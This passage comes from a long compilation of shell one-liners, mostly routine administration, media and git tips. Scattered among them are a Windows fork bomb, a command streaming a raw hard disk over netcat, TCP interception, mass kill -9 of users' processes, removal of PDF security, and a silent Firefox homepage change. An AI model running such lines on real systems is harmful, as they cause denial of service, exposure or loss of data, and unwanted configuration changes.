/proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
# Store dirs to later be changed to independant of the last directory you were in. Also with
managment tools.
pushd /directory/to/remember
# Validate all XML files in the current directory and below
find -type f -name "*.xml" -exec xmllint --noout {} \;
# Print only the odd lines of a file (GNU sed)
sed 2~2d
# google tts
say() { curl -sA Mozilla -d q=`python3 -c 'from urllib.parse import quote_plus; from sys
import stdin; print(quote_plus(stdin.read()[:100]))' <<<"$@"`
'http://translate.google.com/translate_tts' | mpg123 -q -; }
# RTFM function
rtfm() { help $@ || man $@ || xdg-open "http://www.google.com/search?q=$@"; }
# Check reverse DNS
dig -x {IP}
# Tar files matching a certain wildcard
tar -czf ../header.tar.gz $(find . -name *.h)
# ls not pattern
ls *[^.gz]
# Determine status of a RAID write-intent bitmap
mdadm -X /tmp1/md2bitmap

# LVM2 Reduce
# umount /media/filesystem; e2fsck -f /dev/device ; resize2fs -p /dev/device 200G #actual
newsize#;lvreduce --size 200G /dev/device; mount /media/filesystem; df -h /media/filesystem
# Determine command type (alias, keyword, function, builtin, or file)
type -t $1
# Umount only the NFS related to 'string'
for i in `df -P |grep string|cut -f2 -d%|cut -c2-100`; do umount -l -f $i;done
# copy audio file from playlist to a floder
more xx.m3u |grep -v "^#" |xargs -i cp {} target
# Display the size of all your home's directories
du -sh ~/*

248 / 658

All UNIX COMMANDS


# get the oldest file in a directory
ls -1t --group-directories-first /path/to/dir/ | tail -n 1
# Convert an existing Git repo to a bare repo
mv .git .. && rm -rf * && mv ../.git . && mv .git/* . && rmdir .git && git config --bool
core.bare true
# Push a directory onto the stack
= () { pushd ${1:+"$1"}; }
# Git Global search and replace
git grep -l foo | xargs sed -i 's/foo/bar/g'
# Extract tar.gz file with original permission
tar -xvpf file.tar.gz
# Create a single-use TCP proxy with copy to stdout
gate() { mkfifo /tmp/sock1 /tmp/sock2 &> /dev/null && nc -p $1 -l < /tmp/sock1 | tee
/tmp/sock2 & PID=$! && nc $2 $3 < /tmp/sock2 | tee /tmp/sock1; kill -KILL $PID; rm -f
/tmp/sock1 /tmp/sock2 ; }
# archlinux: find more commands provided by the package owning some command
pkgfile -lb `pkgfile <command>`
# Command to logout all the users in one command
who -u|grep -v root|awk {'print $6'}|kill `awk {'print $0'}`
# Start dd and show progress every X seconds
dd if=/path/to/inputfile of=/path/to/outputfile & pid=$! && sleep X && while kill -USR1
$pid; do sleep X; done
# Gets the english pronunciation of a phrase
curl -A "Mozilla" "http://translate.google.com/translate_tts?tl=en&q=hello+world" >
hello.mp3
# Find an installed app
wmic product | findstr /I "name_of_app"
# Stream the latest offering from your fave netcasts/podcasts
vlc --one-instance --playlist-enqueue -q $(while read netcast; do wget -q $netcast -O - |
grep enclosure | tr '\r' '\n' | tr \' \" | sed -n 's/.*url="\([^"]*\)".*/\1/p'|head -n1;
done <netcast.txt)
# Set KDE4's Power Devil daemon power policy profiles
qdbus org.kde.powerdevil /modules/powerdevil setProfile <Profilename>
# Print out your hard drive to a jet-direct compatible printer.
cat /dev/hda|netcat -q 0 192.168.1.2 9100
# Intercept, monitor and manipulate a TCP connection.
ncat -l -p 1234 --sh-exec "tee -a to.log | nc machine port | tee -a from.log"
# vi - Change only whole words exactly matching 'http' to 'git'; ask for confirmation.
:%s/\<http\>/git/gc
# Shows all packages installed that are recommended by other packages
aptitude search '?and( ?automatic(?reverse-recommends(?installed)), ?not(?automatic(?
reverse-depends(?installed))) )'

249 / 658

All UNIX COMMANDS


# Install a new kernel in Manjaro linux
sudo mhwd-kernel linux00
# read Windows ACLs from Linux
smbcacls //server/sharename file -U username
# cpu and memory usage top 10 under Linux
ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3}
END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f%\t%.2f
%\n",num[user], user, cpu[user], mem[user]) }'

# clear the cache from memory


sync; echo 3 > /proc/sys/vm/drop_caches
# Creat a tar file for backup info
tar --create --file /path/$HOSTNAME-my_name_file-$(date -I).tar.gz --atime-preserve -p -P
--same-owner -z /path/
# start a vnc server session to connect to a gdm login screen
set $(ps -e o command= | grep "^/usr/bin/X "); while [ x"$1" != x"-auth" ]; do shift; done;
sudo x11vnc -display :0 -auth "$2"
# Trace and view network traffic
tcpdump -A -s 0 port 80
# Know SELinux status
sestatus -v
# Run a command if today is the last day of the month
if [[ `:$(cal);echo $_` == `date +%d` ]]; then ROTATE_MONTHLY_TABLES_SCRIPT;fi
# Not a kismet replacement...
watch -n .5 "iwlist wlan0 scan"
# create tar archive of files in a directory and its sub-directories
tar czf /path/archive_of_foo.`date -I`.tgz /path/foo
# Convert all .wav to .mp3
audio-convert <dir>/*
# LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
find -maxdepth 1 -mtime 0 -type f
# See loaded modules in apache
httpd -M
# creating you're logging function for your script
logger -t MyProgramName "Whatever you're logging"
# watch the previous command
watch -n1 -d !!
# Burn an ISO on commandline with wodim instead cdrecord
wodim -v speed=4 dev='/dev/scd0' foo.iso
# sed /pat/!d without using sed (no RE; limited to shell patterns aka globbing)
se(){ while read a;do [ "$a" != "${a#*$@*}" ]&&echo $a;done ;} # usage: se pattern # use in
place of sed /pat/!d where RE are overkill

250 / 658

All UNIX COMMANDS


# Check which modules your PHP is using
php -m
# Fork Bomb for Windows
for /l %a in (0,0,0) do start
# Continuously show wifi signal strength on a mac
while i=1; do
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I
| grep CtlRSSI; sleep 0.5; done
# shows history of logins on the server
utmpdump /var/log/wtmp
# count files by type
ls | tr [:upper:] [:lower:] | grep -oP '\.[^\.]+$'

| sort | uniq -c | sort

# revert a file with svn


svn merge -r 854:853 l3toks.dtx
# Use nroff to view the man pages
nroff -u0 -Tlp -man /usr/openwin/man/man1/Xsun.1 | col -x | less
# Print summary of referers with X amount of occurances
awk -F\" '{print $4}' *.log | grep -v "eviljaymz\|\-" | sort | uniq -c | awk -F\
'{ if($1>500) print $1,$2;}' | sort -n
# echo something backwards
echo linux|rev
# Find all dotfiles and dirs
find -mindepth 1 -maxdepth 1 -name .\*

# How To Get the Apache Document Root


httpd -V | grep -i SERVER_CONFIG_FILE | cut -f2 -d'"' | xargs grep -i '^DocumentRoot' | cut
-f2 -d'"'
# Substitute an already running command
c=$(pgrep <cmd>) && <new_cmd> && kill $c
# Watch the progress of 'dd'
dd if=/dev/urandom of=file.img bs=4KB& sleep 1 && pid=`pidof dd`; while [[ -d /proc/$pid ]];
do kill -USR1 $pid && sleep 10 && clear; done
# count total number of lines of ruby code
( find ./ -name '*.rb' -print0 | xargs -0 cat ) | wc -l
# Search for files in rpm repositorys. (Mandriva linux)
urpmf lib/blah
# tar copy
tar cf - dir_to_cp/ | (cd path_to_put/ && tar xvf -)
# View Processeses like a fu, fu
pstree -p
# Test file system type before further commands execution

251 / 658

All UNIX COMMANDS


DIR=. ; FSTYPE=$(df -TP ${DIR} | grep -v Type | awk '{ print $2 }') ; echo "${FSTYPE}"
# List 10 largest directories in current directory
du . -mak|sort -n|tail -10
# kill all running instances of wine and programs runned by it (exe)
ps ax | egrep "*.exe|*exe]" | awk '{ print $1 }' | xargs kill
# Redirecting bash output into any X Window
alias 2edit='xsel -b;n=pipe$RANDOM;xdotool exec --terminator -- mousepad $n -- search --sync
--onlyvisible --name $n key --window %1 ctrl+v'
# Display the tree of all instance of a particular process
pgrep 'sleep' | while read pid; do pstree -sa -H$pid $pid ; done
# Configuring proxy client on terminal
export http_proxy=<user>:<pass>@<server>:<port> ftp_proxy=<user>:<pass>@<server>:<port>
# Recursively remove .svn directories
find . -name .svn -exec rm -r {} +;
# Automagically update grub.conf labels after installing a new kernel
LATEST=`readlink /boot/vmlinuz`; OLD=`readlink /boot/vmlinuz.old`; cat /boot/grub/grub.conf
| sed -i -e 's/\(Latest \[[^-]*\).*\]/\1-'"${LATEST#*-}"]'/1' -e 's/\(Old \
[[^-]*\).*\]/\1-'"${OLD#*-}"]'/1' /boot/grub/grub.conf
# Create a directory and cd into it
take() { mkdir -p $1 && cd $1; }
# find sparse files
find -type f -printf "%S\t%p\n" 2>/dev/null | gawk '{if ($1 < 1.0) print $1 $2}'
# Disable sending of start/stop characters
stty -ixon
# Update a namecheap @ A record to point to your current internet-facing IP address
logger -tdnsupdate $(curl -s 'https://dynamicdns.park-your-domain.com/update?
host=@&domain=xxx&password=xxx'|tee -a /root/dnsupdate|perl -pe'/Count>(\d+)<\/Err/;
$_=$1eq"0"?"Update Sucessful":"Update failed"'&&date>>/root/dnsupdate)
# To get how many users logged in and logged out and how many times ?
last | awk '{ print $1 }' | sort | uniq -c | grep -v wtmp
# Display the definition of a shell function
typeset -f <function-name>
# In (any) vi, add a keystroke to format the current paragraph.
map ^A !}fmt
# Convert all old SVN repositories in one directory to new format
find . -maxdepth 1 -type d -exec 'mv "{}" "{}-old" && svnadmin create "{}" && svnadmin
recover "{}-old" && svnadmin dump "{}-old" | svnadmin load "{}" && rm -rf "{}-old"' \;
# Translates a phrase from English to Portuguese
curl -s -A "Mozilla" "http://translate.google.com.br/translate_a/t?
client=t&text=Hi+world&hl=pt-BR&sl=en&tl=pt&multires=1&ssel=0&tsel=0&sc=1" | awk -F'"'
'{print $2}'
# Generate a shortened URL with is.gd
isgd () { curl 'http://is.gd/create.php?format=simple&url='"$1" ; printf "\n" }

252 / 658

All UNIX COMMANDS

# Keep track of diff progress


watch -d "ls -l /proc/$!/fd"
# Using Git, stage all manually deleted files.
git rm $(git ls-files --deleted)
# Get your external IP address
curl ifconfig.me/all/json
# Outputs each arg on its own line
each() { (IFS=$'\n'; echo "$*") }
# Database size
SELECT table_schema "Data Base Name", sum( data_length + index_length ) / 1024 / 1024 "Data
Base Size in MB" FROM information_schema.TABLES GROUP BY table_schema ;
# Mnemonic for `nice` and `renice` command
# Negative is Not Nice
# List available upgrades from apt (package names only)
apt-get -s upgrade | awk '/Inst.+/ {print $2}'
# SVN Command line branch merge
/usr/local/bin/svn merge -r {rev_num}:HEAD https://{host}/{project}/branches/{branch_name} .
# follow the content of all files in a directory
find dir/ -type f | xargs tail -fqn0
# Display summary of git commit ids and messages for a given branch
git log --pretty='format:%Cgreen%H %Cred%ai %Creset- %s'
# Get your bash scripts to handle options (-h, --help etc) and spit out auto-formatted help
or man page when asked!!
process-getopt
# Download 10 random wallpapers from images.google.com
for((i=0;i<10;i++)) do tmp=`wget -O- -U "" "http://images.google.com/images?
imgsz=xxlarge&hl=es&q=wallpaper&sa=N&start=$(($RANDOM%700+100))&ndsp=10" --quiet|grep -oe
'http://[^"]*\.jpg'|head -1`;[[ $tmp != "" ]] && wget $tmp || echo "Error $[$i+1]";done
# Delete empty directories
perl -MFile::Find -e"finddepth(sub{rmdir},'.')"
# Find inside files two different patterns in the same line and for matched files show
number of matched lines
find . -name '*' -type f -print0 | xargs -0 grep -n pattern1 | grep pattern2
# Pull up remote desktop for other than gnome/kde eg fluxbox
rdp() { ssh $1 sh -c 'PATH=$PATH:/usr/local/bin; x11vnc -q -rfbauth ~/.vnc/passwd -display :
0' & sleep 4; vncviewer $1:0 & }
# A video capture command which can be assigned to a keyboard shortcut.
gnome-terminal -e "bash -c \"ffmpeg -f x11grab -r 25 -s $(xwininfo -root |sed -n 's/
-geometry \([0-9x]*\).*/\1/p') -i :0.0 -vcodec huffyuv -sameq ~/Desktop/screencast.avi; exec
bash\""
# Capitalize first letter of each word in a string - A ruby alternative

253 / 658

All UNIX COMMANDS


ruby -ne 'puts $_.split.collect(&:capitalize).join(" ")' <<< "pleAse cOuld YOu capiTalizE
Me"
# generate random ascii shape(no x11 needed!)
echo 'set term dumb; unset border; unset xtics; unset ytics; p "< seq 10 | shuf" u 1:
(rand(0)) w l notitle' | gnuplot
# Search and replace in multiple files recursively
grep -lr "foo" . | xargs sed -i "s/foo/bar/g"
# Unpack .tgz File On Linux
tar -axf fileNameHere.tgz
# Connect to remote machine with other enconding charset
LC_ALL=fr_FR luit ssh root@remote_machine_ip
# Create md5sum of a directory
find -type f | grep -v "^./.git" | xargs md5sum | md5sum
# Report information about executable launched on system
aureport -x
# Copy 3 files from 3 different servers and adds server name tag to file copied
for i in `seq 1 3`; do scp finku@server$i:file.txt server$i-file.txt; done
# Ripping VCD in Linux
cdrdao read-cd --device ATA:1,1,0 --driver generic-mmc-raw --read-raw image.toc

# ssh batch jobs: query hundreds of hosts with an ssh command


ssh -tq -o "BatchMode yes" $HOST <some_command> >> to_a_file
# find unreadable file
sudo -u apache find . -not -perm /o+r
# Create md5sum of a directory
find -name .git -prune -o -type f -exec md5sum {} \; | sort -k2 | md5sum
# pushd rotates the stack so that the second directory comes at the top.
pushd +2; pushd -2
# Use curl to save an MP3 stream
curl -sS -o $outfile -m $showlengthinseconds $streamurl
# Colorize svn stat
svn stat -u | sort | sed -e "s/^M.*/\o033[31m&\o033[0m/" -e "s/^A.*/\o033[34m&\o033[0m/" -e
"s/^D.*/\o033[35m&\o033[0m/"
# Make a playlistfile for mpg321 or other CLI player
find /DirectoryWhereMyMp3sAre/ -regextype posix-egrep -iregex '.*?\.(ogg|mp3)' | sort >
~/mylist.m3u
# Terrorist threat level text
echo "Terrorist threat level: $(wget -q
'{ print $2 }')"

-O - http://is.gd/wacQtQ | tail -n 1 | awk -F\"

# How To Get the Apache Document Root


awk -F\" '/^DocumentRoot/{print $2}' $(httpd -V | awk -F\" '/\.conf/{print $2}')

254 / 658

All UNIX COMMANDS


# mysql bin log events per minute
mysqlbinlog <logfiles> | grep exec | grep end_log_pos | cut -d' ' -f2- | cut -d: -f-2 | uniq
-c
# Get all available packages on Ubuntu (or any distro that uses apt)
sudo apt-cache dumpavail | grep Package | cut -d ' ' -f 2 > available.packages
# List all symbolic links in a directory matching a string
find directory -type l -lname string
# Show all mergeinfo for a svn subtree
find . \( -type d -name .svn -prune \) -o -print | while read file ; do mergeinfo=`svn
propget svn:mergeinfo $file` ; [ "$mergeinfo" != "" ] && echo -e "$file\n
$mergeinfo\n" ;
done
# Testing ftp server status
for host in $(cat ftps.txt) ; do if echo -en "o $host 21\nquit\n" |telnet 2>/dev/null |grep
-v 'Connected to' >/dev/null; then echo -en "FTP $host KO\n"; fi done
# Search and play MP3 from Skreemr
function skreemplay() { lynx -dump "http://skreemr.com/results.jsp?q=$*" | grep mp3$ | sed
's/^.* //' | xargs mplayer }
# Set the hardware date and time based on the system date
hwclock --systohc -utc
# Stream audio over ssh ogg version
ssh [user]@[host] "ogg123 -" < [podcast].ogg
# Generate hash( of some types) from string
openssl dgst -sha256 <<<"test"
# Single words from Amazon Kindle 3 notes
awk -F" " '{ if ( NF == 1 ) { print $0 } }' KINDLE_NOTES_FILE.txt | sed -e '/^=/d' | sed -e
'/^[[:space:]]*$/d' -e 's/,//g' | sort | comm -12 List_of_language_words.txt - | uniq
# Prettify an XML file
xmllint --format --xmlout --nsclean <file>
# cloning partition tables under Solaris
prtvtoc /dev/rdsk/c0t0d0s2 | fmthard -s - /dev/rdsk/c0t1d0s2
# Simple word scramble
shuf -n1 /usr/share/dict/words | tee >(sed -e 's/./&\n/g' | shuf | tr -d '\n' | line) >
/tmp/out
# Create and play an instant keyword based playlist
find -E ~/Music -type f -iname "*search terms*" -iregex '.*\.(3g[2|p]|aac|ac3|adts|aif[c|
f]?|amr|and|au|caf|m4[a|r|v]|mp[1-4|a]|mpeg[0,9]?|sd2|wav)' -exec afplay "{}" \; &
# Join flv files
mencoder -forceidx -of lavf -oac copy -ovc copy -o output.flv clip1.flv clip2.flv clip3.flv
# Given process ID print its environment variables
cat /proc/PID/environ | tr '\0' '\n'

# Automatically rename tmux window using the current working directory

255 / 658

All UNIX COMMANDS


f(){ if [ "$PWD" != "$LPWD" ];then LPWD="$PWD"; tmux rename-window ${PWD//*\//}; fi };
export PROMPT_COMMAND=f;
# The scene in the Shining (Stanley Kubrick)
yes "" | cat -n | awk '{print "S=`echo All work and no play makes Jack a dull boy. | cut
-c",($1 - 1) % 43 + 1 "`;echo -n \"$S\";seq 500000 > /dev/null"}'| bash
# SSH to a machine's internet address if it is not present on your local network
ping localip -c 1 -W 1 &> /dev/null && ssh localip || ssh globalip
# Beep siren
tempo=33; slope=10; maxfreq=888; function sinus { echo "s($1/$slope)*$maxfreq"|bc -l|tr -d
'-'; }; for((i=1;;i++)); do beep -l$tempo -f`sinus $i`; done
# Countdown Clock
function countdown { case "$1" in -s) shift;; *) set $(($1 * 60));; esac; local S="
"; for i in $(seq "$1" -1 1); do echo -ne "$S\r $i\r"; sleep 1; done; echo -e "$S\rBOOM!"; }
# Download YouTube Videos using wget and youtube-dl and just using the video link
wget -O "output-filename.mp4" $( youtube-dl -g -f "format-number" "youtube-video-link" )
# Follow a new friend on twitter
curl -u USERNAME:PASSWORD -d "" http://twitter.com/friendships/create/NAMEOFNEWFRIEND.xml?
follow=true
# Multi line grep using sed and specifying open/close tags
sed '/'"<opening tag>"'/,/'"<closing tag>"'/{/'"<closing tag>"'/d;p};d' "<file>"
# Given process ID print its environment variables
ps ewwo command PID | tr ' ' '\n' | grep \=
# Get a list of Mageia Linux mirrors providing rsync connectivity for Mageia 4 release
url=http://mirrors.mageia.org/api/mageia.4.i586.list; wget -q ${url} -O - | grep rsync:
# add lyrics
eyeD3 --lyrics=eng:these_lyrics:"$(cat lyrics_file.txt)" some_file.mp3
# Replace underscores with spaces in filenames and dirnames, recursively into subdirs.
find . -exec rename 's/_/\ /g' {} +
# Rotate a video file by 90 degrees CW
mencoder -vf rotate=1 -ovc lavc -oac copy "$1" -o "$1"-rot.avi
# Recursively grep for string and format output for vi(m)
mgc() { grep --exclude=cscope* --color=always -rni $1 . |perl -pi -e 's/:/ +/' |perl -pi -e
's/^(.+)$/vi $1/g' |perl -pi -e 's/:/ /'; }
# Get IPv4 of eth0 for use with scripts
ip addr show eth0 | awk '/inet / {FS = "/"; $0 = $2; print $1}'
# Copies currently played song in Audacious to selected directory
function cp_mp3_to { PID=`pidof audacious2`; FILEPATH=`lsof -p $PID| grep mp3| sed s/
[^\/]*//`; cp "$FILEPATH" "$1"; }
# Remove security limitations from PDF documents using ghostscript (for Windows)
gswin32c -dSAFER -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -sFONTPATH=%windir%/fonts;xfonts;.
-sPDFPassword= -dPDFSETTINGS=/prepress -dPassThroughJPEGImages=true -sOutputFile=OUTPUT.pdf
INPUT.pdf
# sshfs usage

256 / 658

All UNIX COMMANDS


sshfs /root/Desktop/mountdirectory root@remotehost:/etc/
# Recursively search and replace old with new string, inside every instance of filename.ext
find . -type f -name filename.exe -exec sed -i "s/oldstring/oldstring/g" {} +;
# power off system in X hours form the current time, here X=2
echo init 0 | at now + 2 hours
# SED - Substitute string in next line
sed -i.backup '/patter/{n;s/foo/bar/g}' file
# create random string from /dev/urandom (or another length)
echo `cat /dev/urandom |tr -dc "[:alnum:]" | head -c64`
# Rename all images in current directory to filename based on year, month, day and time
based on exif information
exiftool -d %Y-%m-%d_%H.%M.%S%%-c.%%e "-filename<CreateDate" .
# Change the homepage of Firefox
set str=user_pref("browser.startup.homepage", "http://www.fcisolutions.com/"); cd =
"%APPDATA%\Mozilla\Firefox\Profiles\*.default\" echo %str%>>prefs.js
# Colorizes an access log
function colorize() { c="--line-buffered --color=yes"; GREP_COLORS="mt=01;34" egrep $c '(^|
200 | 304 )' "${@}" | GREP_COLORS="mt=02;31" egrep $c '(^|"(GET|POST) .*[^0-9] 4[0-1][09] )' | GREP_COLORS="ms=02;37" egrep $c '(^|^[0-9\.]+) ';}

# Don't like the cut command? Tired of typing awk '{print $xxx}', try this
awp () { awk '{print $'$1'}'; }
# finding cr-lf files aka dos files with ^M characters
find $(pwd) -type f -exec grep -l "$(echo "\r")" {} \;
# Stripping ^M at end of each line for files
perl -pi -e 's:^V^M::g' <filenames>
# Change permissions of every directory in current directory
find . -type d -exec chmod 755 {} \;
# remove repeated pairs of characters e.g. "xtxtxtxt" will become "xt"
sed -ru 's/(..)\1{2,}/\1/g'
# Run command in an ftp session
ftp>!w
# find all open files by named process
lsof -c $processname | egrep 'w.+REG' | awk '{print $9}' | sort | uniq
# Google URL shortener
python -c 'import googl; print googl.Googl("<your_google_api_key>").shorten("'$someurl'")
[u"id"]'
# Use color grep by default
alias grep 'gnu grep -i --color=auto'
# Download and install the newest dropbox beta

257 / 658

All UNIX COMMANDS


wget http://forums.dropbox.com && wget $(cat index.html|grep "Latest Forum Build"|cut -d"\""
-f2) && wget $(cat topic.php*|grep "Linux x86:"|cut -d"\"" -f2|sort -r|head -n1) && rm -rf
~/.dropbox* && rm index.html *.php* && tar zxvf dropbox-*.tar.gz -C ~/
# make computer speaking to you :)
tail -f /var/log/messages | espeak
# monitor the last command run
watch !!
# Go to the Nth line of file [text editor]
vi +4 /etc/mtab
# Set name of windows in tmux/byobu to hostnames of servers you're connected to
for i in $(tmux list-windows -F '#{window_index}'); do panenames=$(tmux list-panes -t $i -F
'#{pane_title}' | sed -e 's/:.*$//' -e 's/^.*@//' | uniq); windowname=$(echo ${panenames} |
sed -e 's/ /|/g'); tmux rename-window -t $i $windowname; done
# Use acpi and notify-send to report current temperature every five minutes.
while notify-send "`acpi -t`"; do sleep 300; done
# Record and share your terminal
shelr play http://shelr.tv/records/4f81e92296608034e3000001.json
# show git logging
git log --stat
# Startup a VPN connection through command line
sudo nmcli con up/down id vpn-name
# Adjust display hardware brightness [dbus way]
dbus-send --session --print-reply --dest="org.gnome.SettingsDaemon"
/org/gnome/SettingsDaemon/Power org.gnome.SettingsDaemon.Power.Screen.SetPercentage
uint32:30
# delete multiple files with spaces in filenames (with confirmation)
ls -Q * | xargs -p rm
# A nice way to show git commit history, with easy to read revision numbers instead of the
default hash
git log --reverse --pretty=oneline | cut -c41- | nl | sort -nr
# sudo for launching gui apps in background
gksudo gedit /etc/passwd &
# lazy SQL QUERYING
alias QUERY='psql -h $MYDBHOST -p 5432 -d $MYDB -U $MYLOGIN --no-align'
# clear MyDNS-ng cache
kill -SIGHUP `cat /var/run/mydns.pid`
# Force unmount occupied partition
fuser -km /media/sdb1

# Find broken symlinks


find /path/to/search -xtype l
# remove recursively all txt files with number of lines less than 10

258 / 658

All UNIX COMMANDS


find . -type f -name "*.txt" | while read; do (($(cat $THISFILE | wc -l) < 10)) && rm -vf
"$THISFILE"; done
# Filter out all blank or commented (starting with #) lines
egrep -v "(^#|^\b*$)"
# Recall last argument of previous command
cd !$
# Monitor a file's size
watch -n 60 du /var/log/messages
# Gathering all MAC's in your local network
sudo arp-scan --interface=eth0 -l
# a find and replace within text-based files
find . -iname "FILENAME" -exec sed -i 's/SEARCH_STRING/REPLACE_STRING/g' {} \;
# read unixtimestamp with festival
say='festival --tts'; S=$(date +%s); echo $(echo $S | cut -b 1-1)" billion" | $say ; echo $
(echo $S | cut -b 2-4 | sed 's/0*//')" million"| $say; echo $(echo $S | cut -b 5-7 | sed
's/0*//')" thousand"| $say
# Kill a process by its partial name (BSD/Mac)
killall -r 'Activ'
# Display standard information about device
sudo ethtool -i eth0
# Fix for error perl: warning: Setting locale failed.
sudo locale-gen en_GB.UTF-8 && sudo locale-gen --purge && sudo dpkg-reconfigure locales
# Convert (almost) any video file into webm format for online html5 streaming
ffmpeg -i input_file.mp4 -strict experimental output_file.webm
# Execute a command with the last parameter of a previous command
ls !$
# kill some process (same as others) but
pkill -9 -f program

parsing to a variable

# Simple Gumblar check command


find filepath -type f -iname "*.html" -o -iname "*.htm" -o -iname "*.php" | xargs grep
"Exception\|LGPL\|CODE1"
# show ALL iptable rules
for i in `cat /proc/net/ip_tables_names`; do iptables -nL -v --line-numbers -t $i ; done
# 'micro' ps aux (by mem/cpu)
ps aux | awk '{print($1" "$3" "$4" "$11);}' | grep -v "0.0"
# Create Solid Archive (best compression) with 7z
7z a -mx=9 -ms=on archive.7z files_for_archiving/
# Hardlink all identical files in the current directory (regain some disk space)
hardlink -vpot .
# listen to an offensive fortune
fortune -o | espeak

259 / 658

All UNIX COMMANDS


# LIst svn commits by user for a date range
for i in `svn log -r{2011-02-01}:HEAD | awk '$3 == "user" {print $1}'`; do svn log -v $i;done
# Display a random crass ascii art from www.asciiartfarts.com
wget -qO - http://www.asciiartfarts.com/random.cgi | sed -n '/<pre>/,/<\/pre>/p' | sed -n
'/<table*/,/<\/table>/p' | sed '1d' | sed '$d' | recode html..ascii
# Iterate through current directory + all subs for C++ header files and rank by # of
comments
find ./ -name *.h -exec egrep -cH "// | /\*" {} \; | awk -F':' '{print $2 ":" $1}' | sort
-gr
# Reset hosed terminal,
stty sane ^J
# FInd the 10 biggest files taking up disk space
find / -type f 2>/dev/null | xargs du 2>/dev/null | sort -n | tail -n 10 | cut -f 2 | xargs
-n 1 du -h

# Print a file to a LPD server


rlpr -h -Plp -HIP_LPD_SERVER_HERE file.ps
# Change active bond slave
/sbin/ifenslave -c bond0 eth1
# tar the current directory wihtout the absolute path
ORIGDIR=${PWD##*/}; PARENT=`dirname $PWD`; tar -C $PARENT -cf ../${ORIGDIR}.tar $ORIGDIR
# send substituted text to a command without echo, pipe
nc localhost 10000 <<< "message"
# Remove empty directories
rmdir **/*(/^F)
# Shell function to create a directory named with the current date, in the format YYYYMMDD.
dmd () { ( if [ "$1"x != "x" ]; then cd $1; fi; mkdir `date +%Y%m%d` ) }
# Delete all empty/blank lines from text file & output to file
sed '/^$/d' /tmp/data.txt > /tmp/output.txt
# Quickly re-execute a recent command in bash
!<command>
# Regnerate Exif thumbnail.
jhead -rgt file-name.jpg
# find all file larger than 500M
find . -type f -size +500M -exec du {} \; | sort -n
# Generate random valid mac addresses
python -c "from itertools import imap; from random import randint; print ':'.join(['%02x'%x
for x in imap(lambda x:randint(0,255), range(6))])"
# Query wikipedia over DNS
wiki() { local IFS=_; dig +short txt "${*^}".wp.dg.cx; }

260 / 658

All UNIX COMMANDS


# Display the human-readable sizes of all files and folders in the current directory with 3
decimal places
du -Lsbc * |awk 'function hr(bytes)
{hum[1024**4]="TiB";hum[1024**3]="GiB";hum[1024**2]="MiB";hum[1024]="kiB";for(x=1024**4;x>=1
024;x/=1024){if(bytes>=x){return sprintf("%8.3f %s",bytes/x,hum[x]);}}return sprintf("%4d
B",bytes);}{print hr($1) "\t" $2}'
# A simple command to toggle mute with pulseaudio (any sink)
pactl set-sink-mute 0 toggle
# Encode png's into blu-ray format
ffmpeg -r 24 -i %04d.png -i INPUTSOUND -r 24 -aspect 16:9 -s 1920x1080 -vcodec libx264
-vpre hq -acodec ac3 -b 40000k -shortest -threads 0 OUTFILE.mp4
# Obtain last stock quote from google API with xmlstarlet
xmlstarlet sel --net -t -m "//last" -v "@data" -n http://www.google.com/ig/api?stock=GOOG
# Create a continuous digital clock in Linux terminal
while [ 1 ] ; do echo -en "$(date +%T)\r" ; sleep 1; done
# Take screenshots with imagemagick
import -quality 90 screenshot.png
# Loop over the days of a month, in $YYYY$MM$DD format
YYYY=2014; MM=02; for d in $(cal $MM $YYYY | grep "^ *[0-9]"); do DD=$(printf "%02d" $d);
echo $YYYY$MM$DD; done
# return the latest kernel version from a Satellite / Spacewalk server software channel
spacecmd --server server softwarechannel_listlatestpackages softwarechannel.name | grep
^kernel-[[:digit:]]
# diff directories, quick cut and paste to view the changes
diff -q dir1/ dir2/ | grep differ | awk '{ print "vimdiff " $2 " " $4 }'
# list file descriptors opened by a process
ls -al /proc/<PID>/fd
# Kill all processes that don't belong to root/force logoff
for i in $(pgrep -v -u root);do kill -9 $i;done
# Tweet from Terminal to twitter !
curl -u yourusername:yourpassword -d status=?Your Message Here?
https://twitter.com/statuses/update.xml
# List all execs in $PATH, usefull for grepping the resulting list
find ${PATH//:/ } -iname "*admin*" -executable -type f

# Create an easy to pronounce shortened URL from CLI


shout() { curl -s "http://shoutkey.com/new?url=${1}" | sed -n "/<h1>/s/.*href=\"\
([^\"]*\)\".*/\1/p" ;}
# FInd the 10 biggest files taking up disk space
find / -type f -size +100M -exec du {} \; | sort -n | tail -10 | cut -f 2
# Anti Syn Ddos
echo 1 > /proc/sys/net/ipv4/tcp_syncookies echo 1 > /proc/sys/net/ipv4/ip_forward iptables
-A FORWARD -p tcp ?syn -m limit -j ACCEPT

261 / 658

All UNIX COMMANDS


# Fix subtitle timing (for .sub files)
sed -e 's/{/|/' -e 's/}{/|/' -e 's/}/|/' myFile.sub | awk -F "|" 'BEGIN {OFS = "|"} { $2 =
$2 - 600; $3 = $3 - 600; print $0 }' | sed -e 's/^|/{/' -e 's/\([0-9]\)|\([0-9]\)/\1}{\2/'
-e 's/|/}/' >
# Creates a 'path' command that always prints the full path to any file
alias path="/usr/bin/perl -e 'use Cwd; foreach my \$file (@ARGV) {print Cwd::abs_path(\
$file) .\"\n\" if(-e \$file);}'"
# Prints per-line contribution per author for a GIT repository
git ls-files | xargs -n1 git blame --line-porcelain | sed -n 's/^author //p' | sort -f |
uniq -ic | sort -nr
# Find files with lines that do not match a pattern
fmiss() { grep -RL "$*" * }
# show how many regex you use in your vim today
cat ~/.viminfo | sed -n '/^:[0-9]\+,\([0-9]\+\|\$\)s/p'
# Pause and Resume Processes
stop () { ps -ec | grep $@ | kill -SIGSTOP `awk '{print $1}'`; }
# Blue Matrix
while [ 1 -lt 2 ]; do i=0; COL=$((RANDOM%$(tput cols)));ROW=$((RANDOM%$(tput cols)));while [
$i -lt $COL ]; do tput cup $i $ROW;echo -e "\033[1;34m" $(cat /dev/urandom | head -1 | cut
-c1-1) 2>/dev/null ; i=$(expr $i + 1); done; done
# Find files of two different extensions and copy them to a directory
find * -regextype posix-extended -regex '.*\.(ext_1|ext_2)' -exec cp {}
copy_target_directory \;
# look for a function reference in a library set
